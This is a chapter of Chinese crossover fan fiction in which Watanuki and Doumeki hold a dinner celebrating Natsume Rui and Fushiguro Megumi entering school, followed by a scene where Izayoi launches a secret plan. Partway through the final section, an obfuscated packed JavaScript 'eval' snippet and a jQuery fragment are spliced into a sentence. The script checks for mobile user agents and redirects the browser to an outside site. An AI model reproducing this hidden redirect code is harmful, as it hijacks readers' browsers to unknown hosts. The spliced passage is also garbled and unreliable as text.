17. 第 17 章
作品:《夏目妹妹不可能是咒术师》 明月高悬,夜樱虫鸣,清风留香。
许是景色过于宜人,一进入店内结界,二人就看到和室的门大开着,一男子闲闲地靠在门边,手里拿着个烟杆,指挥着另一个身穿西装的男人搬这搬那。
“四月一日!百目鬼!我们回来咯。”
小小的摩可拿在夜色中不甚明显,他跃上海胆头少年头顶,为了维持平衡,一手抓住一搓黑发,一手努力挥了挥。
伏黑惠:“喂……”
四月一日抬眼,在夏目琉衣如有实质的眼神中,把手里的烟杆放下了,一副拿她没办法的样子:“是是。”
其实四月一日很少抽这个,只是会下意识地拿在手里,就好像那个人还在这里,一会儿吵吵嚷嚷着让他赶紧温酒,一会儿又做出什么常人难以理解的举动,一会儿又坐在廊下调笑他。
所以,他不能静下来,只要一静下来,思绪就像是翩飞的蝴蝶,一眼望去,全是那人的幻影。
怕他们担心,他很少在夏目琉衣他们面前表露出这一点,但他也知道,自己不可能瞒得住他们。
又或许次元魔女早就料到了这一切,所以才会和夏目琉衣提出那样的代价。
彼时夏目贵志刚刚回到他的世界,夏目琉衣也结束了灵力暴动,不再成天呆在室内。
记得那天下着雨,他在厨房里做饭,小姑娘和侑子小姐坐在廊下赏雨。
“侑子小姐,可以答应我一个请求吗?”
“是需要代价的哦。”
“我知道。”
“撒,是什么呢?”
“我想让哥哥直到重逢前,都忘记我的存在。”
雨淅淅沥沥地下,雨水落到屋顶,再顺着屋檐向下流动,像断了线的珠子般落入地面。
细密的雨声遮盖了次元魔女的低语,也拦停了他要迈出去的步子。
他看到,女孩伸出小指,和次元魔女做下了约定——“说谎的人要吞一千根针”。
侧对着他的姬发女人,抬眸朝他看了过来,眼神柔和,却莫名让他感觉到难过,一股酸涩之感从心底蔓延而上。
……
“君寻?”
一只手在他面前晃了晃,换回了他的思绪。
夏目琉衣站在他面前,有些担心地望着他:“你没事吧?”
再一扫旁边,百目鬼他们的视线也聚焦在此处,四月一日轻笑一声,伸出手摸了摸夏目琉衣的头,不知是在安慰她,还是在平复自己的情绪:“没什么,吃饭吧。”
摩可拿欢呼雀跃:“吃饭吃饭!”
伏黑惠把他抱了下来,吐槽道:“你刚刚才吃过关东煮的吧,难道你的胃连着异次元吗?”
某种意义上,伏黑惠他真相了。
炉火滚烫,寿喜烧冒着诱人的热气,夏目琉衣明明已经垫过肚子,却也含泪怒炫三碗饭,看得伏黑惠在一旁嘴角直抽。
百目鬼静淡定饮酒,不时来点下酒菜,四月一日笑看着对面的一人一摩可拿,如果可以具现化,他们俩身边想必已经冒出了幸福的花花。
见他们吃得眼睛都眯了起来,四月一日又动筷子吃了些。
嗯,不愧是我,还是那么会做饭。
哇,不愧是狐狸的关东煮,这味道还是那么绝。
酒足饭饱,摩可拿瘫倒在地上,抱着自己的肚皮,打了个哈欠,一副晕碳水的样子,他困顿地揉了揉眼:“摩可拿吃累了。”
夏目琉衣轻笑一声,点了点他的额头,温和道:“去睡吧。”
“嗯……”摩可拿闭了闭眼,但立马又瞪得老大,他小手一挥,“不!”
夏目琉衣:“啊?”
摩可拿嘿咻嘿咻爬上桌子,清了清嗓子,引来大家瞩目后,郑重其事道:“今天呢,还有一件重要的事情!”
夏目琉衣从善如流地哄孩子:“嗯嗯,那么,我们可爱的摩可拿大人,是要宣布什么事情呢?”
不知从哪里掏出来一个话筒,摩可拿试了试音量,然后高声宣布:“今天是庆祝你们升学的宴会!”
身为高专的学生,一般都是留校住宿,一是教学需要,一是方便出任务,虽然后者的可能性更大。
是以,准高专一年级生的两小只,过些时日就要入住高专。
伏黑惠:“谢谢。”
夏目琉衣:“呜哇——散花~”
她的手聚起灵力,在摩可拿头顶放开,粉色的花瓣就那么轻轻落下,渐渐地,堆成了小山高,完全不见摩可拿踪迹。
四月一日:“……灵力不是这么用的啊喂。”
夏目琉衣收了手,把摩可拿从花瓣深处扒拉了出来:“是是。”
四月一日叹气垂眸,看着面前落了片花瓣的酒盏,心下有些怅然。
虽然早在之前就知晓了此事,他也做好了心理准备,但源于咒术师超高的死亡率,他还是压抑不住的担心。
“入学的东西都收好了吗?”
百目鬼静瞥了一眼旁边忧心忡忡的四月一日,又移目看向对面两个小孩,语气一如既往的平淡,却莫名让人听出他的关切。
夏目琉衣乖巧点头:“嗯,差不多吧。”——其实完全没收。
她和伏黑惠从小跟着五条悟他们出任务,偶尔就会留在学校内,久而久之,夜蛾干脆大手一挥,在高专内给他们安排了房间。
东西大概是不缺的吧,大概。
但百目鬼静是何人,从他高中开始,他就和四月一日带着夏目琉衣,几乎是一听,就知道她完全没收行李,也不戳穿,他继续道:“五月七日今天有事,她委托我,祝你们入学快乐。”
夏目琉衣眨了眨眼:“小羽姐姐吗?”
百目鬼静点头:“嗯,她说虽然她今天来不了,但祝福还是要有的。”
四月一日显得有些震惊:“小羽和你的关系什么时候那么好了?!”
没有理会旁边瞪大了眼的四月一日,百目鬼静继续道:“出任务时注意安全,受伤了要及时处理,不要逞强。如果有什么事,就回来找这家伙。”
“这家伙”是谁,已经不言而喻。
四月一日又露出了他高中时代遇上百目鬼时常有的表情,倒不如说,这么些年来,只要百目鬼一来,结局就一定会是如此。
“百目鬼,你这家伙!”
真好啊,还跟以前一样。
要是能够一直这样,就好了。
你说是吧,侑子小姐。
那天的雨幕下,眼前是温柔到过分的次元魔女,她的眼神却带了几分忧伤,她的视线在看着夏目琉衣,却又像看到了更远的未来。
“我要你,帮我注视着四月一日君寻。”
“直到你觉得可以放心那天。”
————
夏目琉衣便回了趟本丸,和刀剑们报备以及交代出阵事宜。
结果事情还没交代完,她就被请到了十六夜的本丸,水色头发的青年并未多言,只是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486942|170091||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恭敬地请她尽快前去。
有刀剑想要随行,却也被他拦了下来,十六夜家的一期一振表情未改,毫不退让,只言明是主公的命令。
“没事。”
夏目琉衣安抚住一众刀剑,心下隐隐有了猜测,脑海中闪过了上次谈话。
难道是——
“所以,这次是有什么急事,急到你在门口等我。”
十六夜站在本丸门口,双手随意叠放在身前,就那么静静地等着她。
夏目琉衣话音一落,十六夜也没有拐弯抹角,直言道:“计划可以开始了。”
召唤她的时间恰到好处,夏目琉衣简直要怀疑对方是不是一直盯着她的本丸了,她也这么问出口了:“你是在我本丸门口安了监控吗?”
十六夜露出标准的“大和抚子”式笑容,却隐隐透着一丝腹黑:“撒,可不是监控呢。”
那就是有别的方式了,夏目琉衣挑了挑眉。
十六夜悠悠道:“每个本丸的时空转换装置,在时政都有着专门部门进行监测,好巧不巧,半年前,由我接管了。”
听上去不像是接管……夏目琉衣心想,倒像是以非正常手段控制掌管的。
别看此人一派温柔的大家族小姐样,处理事情的手腕可谓是进退有度,滴水不漏。
夏目琉衣曾建议她去出书,讲讲她那绵里藏针,四两拨千斤的手段是如何养成的。
彼时的十六夜是怎么回答来着,有些记不清了,但夏目琉衣唯一清楚的是,这人是那种,做出决定就不会后悔撤退的人。
她只会,一步一步,去摘取她的胜利果实。
单从这一点上,夏目琉衣十分欣赏她。不管是在审神者中还是在咒术界,她见过的贵族不少,说到神态表情,遣词造句,做事风格,大部分人都是一个样。
夏目琉衣抬眸:“什么时候开始?我得提醒你一句,我下周就开学了。”
十六夜捂唇惊讶状:“啊啦啦,我都忘记了,我们的甲廿九桑,还是一名青春活力的美少女高中生呢。”
夏目琉衣捂脸:“求你,别用这么长的前缀。”她中二期已经过了,真的。
国中时扔出去的回旋镖以一种意料不到的方式正中眉心,曾经以此阴阳怪气时政高层的夏目琉衣,脚趾扣地了。
十六夜歪头:“我以为你很喜欢这样的自称呢。”
夏目琉衣:“忘了吧……所以什么时候开始?”
十六夜嘴角一勾:“当然是现在。”话毕,她推开了身后的大门。
待看清眼前之景,夏目琉衣才有些难以置信,她朝十六夜看去,然后在对方鼓励的眼神中,嘴唇蠕动道:“莫非,我们刚刚说话的时候,他们一直都在后面?”
——这不是什么话都听到了!
十六夜闻言笑容一僵,她斜睨了夏目琉衣一眼,颇为幽怨的语气道:“插科打诨就有你。”
明明想看她被吓一跳,虽然也算是吓到了,可她要的不是这种“吓”啊喂——
夏目琉衣俏皮一笑,随后朝内走去,扫视一圈,看到了好几张熟悉的面孔,她哑然失笑,甲十一,甲三十七,甲四十九……还有好些已经晋升的,久违谋面的审神者们。
虽知道十六夜在时政的受欢迎程度,待看到这么多人,夏目琉衣心下还是有些吃惊。
可算知道她深居高位多年,却一直没有动手的原因了。
“你还真是,不打没准备的仗啊。”